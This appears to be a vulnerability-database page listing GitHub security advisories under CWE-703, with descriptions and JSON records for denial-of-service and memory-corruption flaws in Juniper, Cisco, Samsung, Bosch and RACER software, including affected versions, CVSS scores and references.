An Improper Check or Handling of Exceptional Conditions vulnerability in packet processing of Juniper Networks Junos OS on QFX10002 allows an unauthenticated, adjacent attacker on the local broadcast domain sending a malformed packet to the device, causing all PFEs other than the inbound PFE to wedge and to eventually restart, resulting in a Denial of Service (DoS) condition. Continued receipt and processing of this packet will create a sustained Denial of Service (DoS) condition. This issue can only be triggered by sending a specific malformed packet to the device. Transit traffic does not trigger this issue. An indication of this issue occurring can be seen through the following log messages: fpc0 expr_hostbound_packet_handler: Receive pe 73? fpc0 Cmerror Op Set: PE Chip: PE0[0]: PGQ:misc_intr: 0x00000020: Enqueue of a packet with out-of-range VOQ in 192K-VOQ mode (URI: /fpc/0/pfe/0/cm/0/PE_Chip/0/PECHIP_CMERROR_PGQ_MISC_INT_EVENTS_ENQ_192K_VIOL) The logs list below can also be observed when this issue occurs fpc0 Error: /fpc/0/pfe/0/cm/0/PE_Chip/0/PECHIP_CMERROR_PGQ_MISC_INT_EVENTS_ENQ_192K_VIOL (0x210107), scope: pfe, category: functional, severity: major, module: PE Chip, type: Description for PECHIP_CMERROR_PGQ_MISC_INT_EVENTS_ENQ_192K_VIOL fpc0 Performing action cmalarm for error /fpc/0/pfe/0/cm/0/PE_Chip/0/PECHIP_CMERROR_PGQ_MISC_INT_EVENTS_ENQ_192K_VIOL (0x210107) in module: PE Chip with scope: pfe category: functional level: major fpc0 Error: /fpc/0/pfe/0/cm/0/PE_Chip/0/PECHIP_CMERROR_CM_INT_REG_DCHK_PIPE (0x21011a), scope: pfe, category: functional, severity: fatal, module: PE Chip, type: Description for PECHIP_CMERROR_CM_INT_REG_DCHK_PIPE fpc0 Performing action cmalarm for error /fpc/0/pfe/0/cm/0/PE_Chip/0/PECHIP_CMERROR_CM_INT_REG_DCHK_PIPE (0x21011a) in module: PE Chip with scope: pfe category: functional level: fatal fpc0 Performing action disable-pfe for error /fpc/0/pfe/0/cm/0/PE_Chip/0/PECHIP_CMERROR_CM_INT_REG_DCHK_PIPE (0x21011a) in module: PE Chip with scope: pfe category: functional level: fatal This issue affects Juniper Networks Junos OS on QFX10002: All versions prior to 19.1R3-S10; 19.4 versions prior to 19.4R3-S11; 20.2 versions prior to 20.2R3-S7; 20.4 versions prior to 20.4R3-S6; 21.1 versions prior to 21.1R3-S4; 21.2 versions prior to 21.2R3-S4; 21.3 versions prior to 21.3R3-S3; 21.4 versions prior to 21.4R3-S2; 22.1 versions prior to 22.1R3-S1; 22.2 versions prior to 22.2R2-S1, 22.2R3; 22.3 versions prior to 22.3R1-S2, 22.3R2.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-28959"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-703"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-04-17T22:15:08Z",
    "severity": "MODERATE"
  },
  "details": "An Improper Check or Handling of Exceptional Conditions vulnerability in packet processing of Juniper Networks Junos OS on QFX10002 allows an unauthenticated, adjacent attacker on the local broadcast domain sending a malformed packet to the device, causing all PFEs other than the inbound PFE to wedge and to eventually restart, resulting in a Denial of Service (DoS) condition. Continued receipt and processing of this packet will create a sustained Denial of Service (DoS) condition. This issue can only be triggered by sending a specific malformed packet to the device. Transit traffic does not trigger this issue. An indication of this issue occurring can be seen through the following log messages: fpc0 expr_hostbound_packet_handler: Receive pe 73? fpc0 Cmerror Op Set: PE Chip: PE0[0]: PGQ:misc_intr: 0x00000020: Enqueue of a packet with out-of-range VOQ in 192K-VOQ mode (URI: /fpc/0/pfe/0/cm/0/PE_Chip/0/PECHIP_CMERROR_PGQ_MISC_INT_EVENTS_ENQ_192K_VIOL) The logs list below can also be observed when this issue occurs fpc0 Error: /fpc/0/pfe/0/cm/0/PE_Chip/0/PECHIP_CMERROR_PGQ_MISC_INT_EVENTS_ENQ_192K_VIOL (0x210107), scope: pfe, category: functional, severity: major, module: PE Chip, type: Description for PECHIP_CMERROR_PGQ_MISC_INT_EVENTS_ENQ_192K_VIOL fpc0 Performing action cmalarm for error /fpc/0/pfe/0/cm/0/PE_Chip/0/PECHIP_CMERROR_PGQ_MISC_INT_EVENTS_ENQ_192K_VIOL (0x210107) in module: PE Chip with scope: pfe category: functional level: major fpc0 Error: /fpc/0/pfe/0/cm/0/PE_Chip/0/PECHIP_CMERROR_CM_INT_REG_DCHK_PIPE (0x21011a), scope: pfe, category: functional, severity: fatal, module: PE Chip, type: Description for PECHIP_CMERROR_CM_INT_REG_DCHK_PIPE fpc0 Performing action cmalarm for error /fpc/0/pfe/0/cm/0/PE_Chip/0/PECHIP_CMERROR_CM_INT_REG_DCHK_PIPE (0x21011a) in module: PE Chip with scope: pfe category: functional level: fatal fpc0 Performing action disable-pfe for error /fpc/0/pfe/0/cm/0/PE_Chip/0/PECHIP_CMERROR_CM_INT_REG_DCHK_PIPE (0x21011a) in module: PE Chip with scope: pfe category: functional level: fatal This issue affects Juniper Networks Junos OS on QFX10002: All versions prior to 19.1R3-S10; 19.4 versions prior to 19.4R3-S11; 20.2 versions prior to 20.2R3-S7; 20.4 versions prior to 20.4R3-S6; 21.1 versions prior to 21.1R3-S4; 21.2 versions prior to 21.2R3-S4; 21.3 versions prior to 21.3R3-S3; 21.4 versions prior to 21.4R3-S2; 22.1 versions prior to 22.1R3-S1; 22.2 versions prior to 22.2R2-S1, 22.2R3; 22.3 versions prior to 22.3R1-S2, 22.3R2.",
  "id": "GHSA-h5hc-qpqf-p7r8",
  "modified": "2024-04-04T03:31:12Z",
  "published": "2023-04-18T00:32:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28959"
    },
    {
      "type": "WEB",
      "url": "https://supportportal.juniper.net/JSA70584"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H893-GCQ5-J4CV

Vulnerability from github – Published: 2026-09-02 18:32 – Updated: 2026-09-15 18:32
VLAI
Details

As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco IOS XR Software engineering team has conducted a comprehensive internal security review. This review resulted in a software hardening releases that address multiple internally discovered vulnerabilities.

The vulnerabilities tracked by CVE-2026-20280 are related to improper checking or handling of exceptional condition issues that are grouped under the Common Weakness Enumeration (CWE) CWE-703.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-20280"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-703"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-02T17:17:33Z",
    "severity": "HIGH"
  },
  "details": "As part of Cisco\u0027s ongoing commitment to proactive security and product quality, the\u0026nbsp;Cisco IOS XR Software engineering team has conducted a comprehensive internal security review. This review resulted in a software hardening releases that address multiple internally discovered vulnerabilities.\n\nThe vulnerabilities tracked by CVE-2026-20280 are related to improper checking or handling of exceptional condition issues that are grouped under the Common Weakness Enumeration (CWE) CWE-703.",
  "id": "GHSA-h893-gcq5-j4cv",
  "modified": "2026-09-15T18:32:13Z",
  "published": "2026-09-02T18:32:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20280"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-hardening-iosxr-qg64NcM"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/Media/News/item/blog/2026/06/16/Preserving-Vulnerability-Level-Identification"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HHHG-3QXH-MMH3

Vulnerability from github – Published: 2022-05-24 17:45 – Updated: 2025-10-22 00:32
VLAI
Details

An incorrect implementation handling file descriptor in dpu driver prior to SMR Mar-2021 Release 1 results in memory corruption leading to kernel panic.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-25370"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-416",
      "CWE-703",
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-03-26T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An incorrect implementation handling file descriptor in dpu driver prior to SMR Mar-2021 Release 1 results in memory corruption leading to kernel panic.",
  "id": "GHSA-hhhg-3qxh-mmh3",
  "modified": "2025-10-22T00:32:05Z",
  "published": "2022-05-24T17:45:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-25370"
    },
    {
      "type": "WEB",
      "url": "https://security.samsungmobile.com"
    },
    {
      "type": "WEB",
      "url": "https://security.samsungmobile.com/securityUpdate.smsb"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-25370"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HJ54-QG34-2JRM

Vulnerability from github – Published: 2023-12-22 21:30 – Updated: 2023-12-22 21:30
VLAI
Details

An improper handling of a malformed API answer packets to API clients in Bosch BT software products can allow an unauthenticated attacker to cause a Denial of Service (DoS) situation. To exploit this vulnerability an attacker has to replace an existing API server e.g. through Man-in-the-Middle attacks.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-35867"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-703"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-12-18T13:15:07Z",
    "severity": "MODERATE"
  },
  "details": "An improper handling of a malformed API answer packets to API clients in Bosch BT software products can allow an unauthenticated attacker to cause a Denial of Service (DoS) situation. To exploit this vulnerability an attacker has to replace an existing API server e.g. through Man-in-the-Middle attacks.",
  "id": "GHSA-hj54-qg34-2jrm",
  "modified": "2023-12-22T21:30:21Z",
  "published": "2023-12-22T21:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-35867"
    },
    {
      "type": "WEB",
      "url": "https://psirt.bosch.com/security-advisories/BOSCH-SA-092656-BT.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HMP5-4MG4-RVJV

Vulnerability from github – Published: 2026-09-11 00:31 – Updated: 2026-09-14 21:31
VLAI
Details

An issue in Robotics-STAR-Lab (SYSU STAR Group) RACER Tested affected version: commit abcdef1234567890 allows an attacker to cause a denial of service via the exploration state machine

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-71645"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-703"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-10T22:16:59Z",
    "severity": "HIGH"
  },
  "details": "An issue in Robotics-STAR-Lab (SYSU STAR Group) RACER Tested affected version: commit abcdef1234567890 allows an attacker to cause a denial of service via the exploration state machine",
  "id": "GHSA-hmp5-4mg4-rvjv",
  "modified": "2026-09-14T21:31:25Z",
  "published": "2026-09-11T00:31:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-71645"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Robotics-STAR-Lab/RACER/issues/46"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/DongJiaxin0422/5c01ce9ab3211463b20dc8e86e6464de"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Robotics-STAR-Lab/RACER"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

No CAPEC attack patterns related to this CWE.